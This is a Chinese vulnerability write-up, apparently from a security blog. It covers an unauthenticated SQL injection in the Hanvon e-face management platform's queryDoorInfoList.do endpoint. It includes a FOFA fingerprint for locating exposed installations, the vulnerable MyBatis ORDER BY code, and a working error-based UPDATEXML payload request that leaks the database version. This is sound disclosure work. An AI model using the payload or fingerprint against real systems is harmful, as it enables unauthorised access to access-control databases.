汉王e脸通综合管理平台 queryDoorInfoList.do SQL注入漏洞


漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件,集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块,广泛应用于政府、企业、监狱、学校、智慧社区等多个领域,实现无接触式快速通行,提升管理效率和安全性。其管理平台的 queryDoorInfoList.do 接口存在 SQL 注入漏洞。攻击者可在无需认证的情况下,通过构造恶意请求参数注入恶意 SQL 语句,导致数据库信息泄露、数据篡改甚至系统权限提升,影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 DoorInfoController 里关于 queryDoorInfoList 的实现

@RequestMapping(
    value = {"queryDoorInfoList.do"},
    method = {RequestMethod.GET}
)
@ResponseBody
public RequestJson queryDoorInfoList(@RequestParam(required = false) Integer page, @RequestParam(required = false) Integer pageSize, @RequestParam(required = false) String doorName, @RequestParam(required = false) Integer controlId, @RequestParam(required = false) Integer locationId, @RequestParam(required = false) String order, @RequestParam(required = false) String columnKey) {
    RequestJson result = new RequestJson();
    ControlInfoParam record = new ControlInfoParam();

    try {
        if (page == null) {
            page = Constants.DEFAULT_START_PAGE_INDEX;
        }

        if (pageSize == null) {
            pageSize = Constants.PAGE_SIZE;
        }

        record.setDoorName(doorName);
        record.setControlId(controlId);
        record.setLocationId(locationId);
        record.setOrder(order);
        record.setColumnKey(columnKey);
        PageHelper.startPage(page, pageSize);
        List<DoorInfoVO> infoList = this.doorInfoAsm.queryList(record);
        PageInfo<DoorInfoVO> info = new PageInfo(infoList);
        Map<String, Object> map = new HashMap();
        map.put("items", info.getList());
        map.put("numRows", info.getTotal());
        map.put("page", info.getPageNum());
        map.put("pageSize", info.getPageSize());
        result = RequestJson.successResult(result, map, getMessage("basics_query_success"));
    } catch (Exception e) {
        String msg = getMessage("basics_go_wrong") + e.getLocalizedMessage();
        result = RequestJson.errorResult(result, msg);
        this.logger.error(msg);
        e.printStackTrace();
    }

    return result;
}

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多,GET请求获取多个参数后存入 record 里,然后带入 doorInfoAsm.queryList 看 DoorInfoDao.xml 对queryList 查询的设置

<select id="queryList" resultMap="BaseResultMap2">
    SELECT
    DDI.ID, DDI.DEVICE_CONTROL_ID deviceControlId,DDI.MEMO, DDI.NAME, DDI.DOOR_SORT, DDI.CONTROL_WAY,DDI.OPEN_DELAY, DD.SZ_NAME AS
    controlName
    FROM ACCESS_DOOR_INFO DDI
    LEFT JOIN DEV_DEVICE DD ON DD.NG_ID = DDI.DEVICE_CONTROL_ID
    WHERE 1=1 AND DDI.IS_DELETED != 1
    <if test="doorName != null and doorName != ''">
        and DDI.NAME like CONCAT(CONCAT('%', #{doorName}, '%'))
    </if>
    <if test="controlId != null ">
        and DDI.DEVICE_CONTROL_ID = #{controlId}
    </if>

    ORDER BY
    <if test="order == null or order == ''">
        CREATE_TIME DESC
    </if>
    <if test="order != null and order != ''">
        ${columnKey} ${order}
    </if>
</select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中,导致攻击者可构造恶意输入执行任意 SQL 命令,造成SQL注入漏洞。

同样存在此问题的还有如下这些(但没有在代码里找到使用)

getDoorByEmployeeId

authorityDoor

selectByExample

Update_By_Example_Where_Clause

Example_Where_Clause

漏洞复现

GET /manage/doorInfo/queryDoorInfoList.do?recoToken=67mds2pxXQb&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x7e,@@version,(SELECT+(ELT(2920=2920,1))),0x7e),8357)) HTTP/1.1
Host: hanvon.mrxn.net

成功利用报错注入获取到数据库版本号信息


手机扫码阅读

Googlebot | Bingbot IP 验证工具

汉王e脸通综合管理平台 queryOpenDoorLogs.do SQL注入漏洞

评 论